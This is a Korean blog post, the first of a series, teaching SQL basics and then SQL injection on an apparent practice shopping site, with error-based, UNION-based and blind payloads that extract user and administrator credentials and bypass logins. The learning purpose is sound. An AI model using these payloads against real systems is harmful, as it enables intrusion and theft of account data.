티스토리 뷰

정보보호

SQL injection (SQLi) - 1

ljy98 2021. 8. 31. 21:59

0. SQL (Structured Query Language, 구조화 질의어)

1. SQL injection 개념

2. SQL injection 종류

3. SQL injection Tools

4. SQL injection 응용

5. SQL injection 대응 방안


0. SQL (Structured Query Language, 구조화 질의어)

SQL을 알아보기 전에 RDBMS를 먼저 간단히 살펴보겠다.

 

[그림 1] DBMS vs. RDBMS

 

관계형 데이터베이스 관리 시스템(RDBMS)은 각 행이 레코드를 나타내고 각 열이 속성을 나타내는 테이블 형식으로 데이터를 저장한다. RDBMS의 종류에는 ORACLE, MYSQL, Maria DB 등이 있다. 이름에 '관계형'이라는 말이 들어간 것에서 유추할 수 있듯 각각의 테이블이 유기적인 관계로 구성되어 있고, 원하는 데이터를 찾기 위해 키를 사용한다. 키의 종류에는 기본키, 대체키, 후보키, 슈퍼키, 외래키가 있다.

 

[그림 2] RDBMS 키 포함 관계

 

슈퍼키 테이블의 행을 고유하게 식별할 수 있는 속성 또는 속성의 집합 (유일성)
후보키 슈퍼키를 구성하는 속성 중 어느 하나라도 제외될 경우 유일성을 확보할 수 없는 키 (최소성)
기본키 행의 식별자로 이용하기에 가장 적합한 것 설계자에 의해 선택 및 정의됨
대체키 후보키 중 기본키로 선정되지 않은 키
외래키 한 테이블의 속성 중 다른 테이블의 행을 식별할 수 있는 키 ← 참조되는 테이블의 기본키와 동일한 키 속성을 가짐

 

이제 본격적으로 SQL에 대해 알아보겠다.

 

[그림 3] SQL 개념

 

SQL은 관계형 데이터베이스 관리 시스템(RDBMS)의 데이터를 관리하기 위해 설계된 특수 목적의 프로그래밍 언어이다. 관계형 데이터베이스 관리 시스템에서 자료의 검색과 관리, 데이터베이스 스키마 생성과 수정, 데이터베이스 객체 접근 조정 관리를 위해 고안되었다. SQL 문법의 종류는 세 가지로 나뉜다.

 

  • 데이터 정의 언어 (DDL : Data Definition Language)
CREATE 새로운 데이터베이스 관계(테이블), 뷰, 인덱스, 저장 프로시저 만들기
DROP 이미 존재하는 데이터베이스 관계(테이블), 뷰, 인덱스, 저장 프로시저를 제거
ALTER 이미 존재하는 데이터베이스 개체에 대한 변경, RENAME의 역할을 함
TRUNCATE 관계(테이블)에서 데이터를 돌이킬 수 없는 제거

 

  • 데이터 조작 언어 (DML : Data Manipulation Language)
SELECT 검색 (질의)
INSERT 삽입 (등록)
UPDATE 업데이트 (수정)
DELETE 삭제

 

  • 데이터 제어 언어 (DCL : Data Control Language)
GRANT 특정 데이터베이스 사용자에게 특정 작업에 대한 수행 권한을 부여
REVOKE 특정 데이터베이스 이용자에게 부여한 특정 권한을 박탈

 

[ SQL Tips ]

 

(1) SELECT

  - 데이터를 조회할 때 사용

  - SELECT [column] FROM [table]

  - SELECT [column] FROM [table] WHERE [column]

     ex) SELECT user_id FROM members

     ex) SELECT user_id FROM members WHERE user_id='kisec'

 

(2) UNION

   - SELECT + SELECT

   - SELECT [column] FROM [table] UNION SELECT [column] FROM [table]

      ex) SELECT user_id, passwd, passwd1, name, jumin1 FROM members UNION SELECT * FROM post2

 

(3) Group by ()

   - 동일한 데이터를 집계할 때 사용하는 함수

 

(4) Having ()

  - Group by를 이용하여 집계한 데이터에 대해서 또 다시 조건을 비교할 때 사용

    * having은 반드시 group by 구문과 항상 같이 쓰여야 함

 

(5) Order by

  - 조회한 데이터를 정렬시키는 함수

  - 오름차순(a→z) : order by [column] asc

     ex) SELECT user_id FROM members order by user_id asc

   - 내림차순(z→a) : order by [column] desc

     ex) SELECT user_id FROM members order by user_id desc

 

(6) 연산자

  - 논리연산자 : AND, OR, IN, NOT

 

(7) 특수문자

  • ' (싱글쿼테이션, 아포스트로피, 작은따옴표)

   - 작은 따옴표는 SQL에서 문자열의 시작과 끝을 나타내는 데 사용

   - 명령어가 아닌 문자로 인식시키기 위해 묶어줄 때 사용

   - 큰 따옴표는 일반적으로 SQL에서 사용되지 않지만 데이터베이스마다 다를 수 있음

    ex) SELECT → SQL문으로 인식

    ex) 'SELECT' → 프로그래밍 언어가 아닌 일반 문자로 인식

  • " (더블쿼테이션, 큰따옴표)

   - 대소문자 구분할 때 사용(ORACLE)

    ex) 대소문자 구분 시 : SELECT * FROM "My_Table" WHERE "my_field" = 1

    ex) 대소문자 구분 안함 : SELECT * FROM My_Table WHERE my_field = 1

  • -- (주석)

   - 주석 특수문자는 컴파일 과정에서 공백으로 처리되거나 무시됨

    ex) SELECT * FROM members -- WHERE user_id='kisec'

   - members 테이블의 모든 데이터가 조회됨 (-- 특수문자 뒤에 문장은 공백 또는 무시됨)

 

1. SQL injection 개념

SQL 인젝션은 응용 프로그램 보안 상의 허점을 의도적으로 이용해, 악의적인 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 코드 인젝션 공격 방법이다.

 

[그림 4] SQL injection의 개념

 

[SQLi 취약점 진단]

 

(1) SQL 특수문자 삽입

   - ' (작은따옴표) 등 SQL 특수문자 삽입

   - DBMS 종류별로 명시적인 DB 에러구문이 있는 응답페이지 확인

 

[그림 5] SQL문의 구조 예시

 

[그림 5]는 SQL문의 예시이다. 화질이 좋지 않아서 다음 줄에 다시 적어보겠다.

strSQL="SELECT * FROM Members WHERE user_id = '"& UserID &"' and passwd = '"& PassWD &"' "

우리가 사이트의 로그인 창에서 ID와 PW를 입력하면 SQL문의 밑줄 친 부분에 작성이 된다.

 

(2) 참인 쿼리와 거짓 쿼리 삽입

   - 참 : 'and 1=1 --     /     'or 1=1 --  

   - 거짓 : 'and 1=2 --     /     'or 1=2 --

      (첫 작은따옴표는 SQL문에 미리 쓰인 작은따옴표와 쌍을 맞춰 닫아준 후 원하는 내용을 삽입하기 위함이고,  마지막에 --는

       뒤의 내용을 주석 처리하기 위해 쓴다. 1=1은 True, 1=2는 False인 논리식이므로 SQL문을 참 또는 거짓이 되게 해준다.)

   - 참인 쿼리 응답페이지와 거짓 쿼리 응답페이지가 다른 경우

      (참 또는 거짓인 쿼리 1개만 써서 결과가 나왔다고 해서 바로 SQLi가 가능하다고 볼 수 없다. 간혹 1이나 2가 포함된 게시물을

       보여주는 등 사이트 별로 다양한 경우의 수가 있기 때문에 SQL문에 취약점이 있는지 확실하게 구별하려면 참과 거짓 쿼리를 둘다

       넣어봐야 한다.)

 

[그림 6] ID: 'or 1=1 --, PW: aaaa로 로그인
[그림 7] oyes라는 ID로 로그인 성공

 

DB의 members 테이블에서 첫 번째로 등록된 ID가 oyes이기 때문에 [그림 7]에서 ID가 oyes로 나타난다.

 

2. SQL injection 종류

2-1. Errorbased SQLi

(1) 'and db_name() > 1 --

   => oyesmall (DB명)

 

[그림 8] ID: 'and db_name() > 1 --, PW: aaaa로 로그인

 

[그림 9] 로그인 실패 후 뜬 창

 

(2) 'having 1=1 --

   => members.num (테이블명.컬럼명)

 

[그림 10] ID: 'having 1=1 --, PW: aaaa로 로그인

 

[그림 11] 로그인 실패 후 뜬 창

 

(3) 'group by (num) --

   => user_id (컬럼명)

 

[그림 12] ID: 'group by (num) --, PW: aaaa로 로그인

 

[그림 13] 로그인 실패 후 뜬 창

 

(4) 'group by num, user_id --

   => passwd (컬럼명)

 

[그림 14] ID: 'group by num, user_id --,PW: aaaa로 로그인

 

[그림 15] 로그인 실패 후 뜬 창

 

members (회원정보테이블명)

num(primary key)

user_id(회원의아이디컬럼명)

passwd(회원의 패스워드컬럼명)

 

Errorbased SQLi는 고의적으로 에러 메시지 창을 띄워 발견한 에러에 대한 설명을 기반으로 한 SQLi이다. 마치 스무고개를 하는 것처럼 로그인을 시도하는 과정에서 뜬 에러 문구를 힌트로 삼아서 더 구체적인 데이터로 접근해 나간다. 

 

Q1. 회원의 ID 알아내기

 

'or 1 in(SELECT user_id FROM members WHERE num > 0) --

=> oyes

[그림 16] ID: 'or 1 in(SELECT user_id FROM members WHERE num > 0) --로 로그인

 

[그림 17] 로그인 실패 후 뜬 창

 

'or 1 in(SELECT user_id FROM members WHERE num > 1) --

=> bisang2da

 

[그림 18] ID: 'or 1 in(SELECT user_id FROM members WHERE num > 1) --로 로그인

 

[그림 19] 로그인 실패 후 뜬 창

 

Q2. WHERE user_id NOT IN()을 이용하여 회원의 ID 5개만 알아보기

 

'or 1 in(SELECT user_id FROM members WHERE user_id NOT IN ('oyes')) --

=> bisan2da

'or 1 in(SELECT user_id FROM members WHERE user_id NOT IN ('oyes','bisang2da')) --

=> kisec

'or 1 in(SELECT user_id FROM members WHERE user_id NOT IN ('oyes','bisang2da','kisec')) --

=> kisectest

'or 1 in(SELECT user_id FROM members WHERE user_id NOT IN ('oyes','bisang2da','kisec','kisectest')) --

=> rnrneks

 

[그림 20] MSSQL 서버의 members 테이블

 

ID가 추출되는 순서는 DB의 members 테이블에 위치한 user_id의 순서와 같다. 

 

2-2. UNION SQLi

Q1. 회원의 ID와 PW를 출력하고 임의의 타 사용자 계정으로 로그인해보기 (타 사용자 권한 획득)

 

(1) 회원 정보가 저장된 테이블 이름 알아내기

   - information_schema.tables

Column name Data type Description
TABLE_CATALOG nvarchar(128) Table qualifier.
TABLE_SCHEMA nvarchar(128) Name of schema that contains the table.
TABLE_NAME sysname Table name.
TABLE_TYPE varchar(10) Type of table. Can be VIEW or BASE TABLE.

'UNION SELECT '1', '2', '3', '4', table_name FROM information_schema.tables --      ···
'UNION SELECT '1', '2', '3', table_name, '5' FROM information_schema.tables --      ···②
=> members

 

[그림 21] members 테이블 찾기

 

①과 ② 둘다 삽입했을 때 같은 결과가 나온다. 실습 중인 사이트는 테이블의 1~5번째 속성이 모두 char형이기 때문에 table_name이 어디에 들어가도 상관이 없지만, 실제 사이트에서는 int형을 비롯해 다른 변수형이 섞여 들어가 있을 수 있기 때문에 한 번 실패했을 때 위치 순서를 바꿔서 시도해 보는 것이 의미가 있다.

 

※ UNION 연산자를 쓸 때는 왜 회원로그인 창이 아닌 '주소찾기' 창에서 실습을 하는 걸까? (삽질 주의)

회원로그인 창에 ①을 입력하고 로그인 버튼을 눌렀을 때 다음과 같은 오류 창이 뜬다.

 

[그림 22] UNION연산자를 회원로그인 창에 넣었을 때 에러

 

UNION 연산자는 2개 이상의 SELECT문을 합집합하는 연산자이다. 따라서 UNION 연산자로 결합된 쿼리의 대상 목록은 같은 갯수의 파라미터를 가져야 한다. 

 

[그림 23] members 테이블의 column 갯수 찾기

 

[그림 23]에는 members 테이블의 column이 모두 나와있지 않지만, 직접 세어보면 총 33개임을 알 수 있다. 따라서 아래의 내용을 입력해 보았다. 

 

'UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', table_name FROM information_schema.tables --

 

[그림 24] 동일한 갯수의 식으로 로그인 시도 후 에러

 

'1', '2' 와 같이 작은따옴표가 씌어진 것은 정수형이 아닌 문자열이다. 실제로 members 테이블의 column들은 정수형, 문자형 등 다양한 변수형을 갖는데, 모두 문자형으로 대입했기 때문에 [그림 24]와 같은 에러가 뜨는 것이다. 이를 해결하기 위해서는 33개의 변수형을 다 맞춰주고 다시 시도해야 한다.

'UNION SELECT 1, '2', '3', '4', '5', 6, 7, 8, 9, 10, 11, 12, '13', 14, 15, 16, 17, '18', '19', '20', '21', 22, 23, 24, '25', '26', '27', '28', 29, 30, 31, '32', table_name FROM information_schema.tables --

 

[그림 25] 로그인 성공 후 my account에서 나타난 에러

 

33개의 변수형을 맞춰준 위의 UNION SELECT문을 삽입하여 로그인을 시도하면 성공한다. 하지만, my account에 들어가보면 위와 같은 에러 메시지가 뜬다. 여기까지 ※에 대한 답을 찾기 위해 삽질을 하다가 깨달음을 얻었다.

회원로그인 창은 로그인을 성공시키기 위한 목적이므로 데이터들을 출력해주지 않고, 주소찾기 창은 주소에 대한 관련 데이터들을 출력해준다. 그렇기 때문에 회원들의 ID, PW에 대한 데이터를 출력하기 위해서는 주소찾기 창으로 해야 한다. 

물론 UNION SELECT문으로도 회원로그인 성공이 가능하지만 회원로그인을 할 때에는 UNION SELECT문을 쓰는 것보다 간단하게 논리값을 만족하도록 ' or 1=1 --와 같은 짧은 문구를 넣는 것이 훨씬 효율적이다. 

 

(2) 회원 정보 테이블의 ID, PW 컬럼명 알아내기

   - information_schema.columns

Column name Data type Description
TABLE_CATALOG nvarchar(128) Table qualifier.
TABLE_SCHEMA nvarchar(128) Name of schema that contains the table.
TABLE_NAME nvarchar(128) Table name.
COLUMN_NAME nvarchar(128) Column name.

'UNION SELECT '1', '2', '3', '4', column_name FROM information_schema.columns WHERE table_name='members' --
=> user_id, passwd

 

[그림 26] ID, PW 찾기

 

Q2. UNION SQLi 구문을 통해 회원의 ID와 PW를 출력하고, 출력된 회원의 ID와 PW 중 하나로 로그인 성공해보기

 

'UNION SELECT '1', '2', '3', user_id, passwd FROM members --

=> bazzi, 12345 등

 

[그림 27] 회원의 ID, PW 모두 찾기

 

Q3. 관리자의 ID와 PW를 출력하고 관리자 로그인 페이지에서 로그인해보기 (관리자 권한 획득)

 

'UNION SELECT '1', '2', '3', '4', table_name FROM information_schema.tables --
=> admin_tb

 

아래의 [그림 24]을 보면 이 사이트는 관리자 테이블과 일반사용자 테이블이 admin_tb과 members로 분리되어 있다는 것을 알 수 있다. 필자는 두 테이블이 분리되어 있다고 가정하고 진행했는데, 항상 분리되어 있는 것은 아니다. (요즘은 따로 분리해서 운영하는 추세이다.) 관리자와 일반사용자 테이블이 분리되어 있는지 모르는 상황이라면, 일반사용자 테이블의 계정들을 하나씩 직접 대입해보며 알아낼 수 있다.

 

[그림 28] admin_tb 테이블 찾기

 

'UNION SELECT '1', '2', '3', '4', column_name FROM information_schema.columns WHERE table_name='admin_tb' --
=> adminid, adminpwd

 

[그림 29] 관리자의 ID, PW 탭 찾기



'UNION SELECT '1', '2', '3', adminid, adminpwd FROM admin_tb --
=> admin, passwd

 

[그림 30] 관리자의 ID, PW 찾기

 

이제 관리자의 ID와 PW를 알아냈다. 이 정보로 회원로그인 창에서 로그인을 시도하면 로그인이 되지 않는데, 관리자모드 페이지가 따로 존재하기 때문에 그 페이지에서 시도해야 한다. 관리자모드 페이지는 사이트를 새로고침하면 뜨는 팝업창에 나와 있다. (실제 사이트는 관리자모드 페이지 URL 자체를 공개하지 않는 경우가 많고, 보안에 더욱 신경쓰는 경우 포트 번호나 IP를 이용하여 접속을 제한하기도 한다.)

 

[그림 31] 관리자모드 페이지 찾기

 

이제 사이트의 우측 상단에 보이는 Red Zone을 클릭하여 로그인한다.

 

[그림 32] 관리자모드 페이지에 로그인

 

관리자모드 페이지에 로그인을 성공하여 아래의 창이 떴다.

 

[그림 33] 관리자모드 페이지 로그인 성공

 

2-3. Blind SQLi

(1) 참인 쿼리와 거짓인 쿼리의 반응 차이를 이용

(2) Blind SQLi 공격구문 활용 예

  • Blind SQLi 취약점이 존재하는 페이지 식별

[그림 34] Q&A 게시판에 test 입력 후 Burp Suite의 모습

 

- URL: http://XXX.XXX.XXX.XXX/demoshop/shop_board/search.asp (게시판 검색)

- Parameter: radio=title&searchquery=test

- 참인쿼리 퍼센트인코딩: 'and 1=1 -- (%27and+1%3D1+--)

- 거짓쿼리 퍼센트인코딩: 'and 1=2 -- (%27and+1%3D2+--)

 

[그림 35] Q&A 게시판에서 게시물을 클릭했을 때 Burp Suite의 모습

 

- URL: http://XXX.XXX.XXX.XXX/demoshop/shop_board/shop_board_list.asp (게시글 호출)

- Parameter: page=3&v_num=368

- 참인쿼리 퍼센트인코딩: and 1=1 (and+1%3D1+)

- 거짓쿼리 퍼센트인코딩: and 1=2 (and+1%3D2+)

 

  • substring()을 이용하여 사용자 테이블 이름 알아내기

[그림 36] substring을 이용하여 로그인 시도 -> 성공

 

'and 'a' = substring((SELECT TOP 1 table_name FROM information_schema.tables ORDER BY table_name asc),1,1)--
'and 'b' = substring((SELECT TOP 1 table_name FROM information_schema.tables ORDER BY table_name asc),2,1)--
'and 's' > substring((SELECT TOP 1 table_name FROM information_schema.tables ORDER BY table_name asc),3,1)--

'and 'q' < substring((SELECT TOP 1 table_name FROM information_schema.tables ORDER BY table_name asc),3,1)--
=> abr···

 

 

내용이 길어져서 3. SQL injection Tools 부터는 다음 게시글에 올릴 예정이다.

'정보보호' 카테고리의 다른 글

Cross-Site Scripting (XSS)  (0) 2021.09.02
SQL injection (SQLi) - 2  (0) 2021.09.01
메모리 보호 기법과 우회 기법  (0) 2021.08.26
버퍼 오버플로우  (0) 2021.08.26
메모리 구조  (0) 2021.08.26
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
글 보관함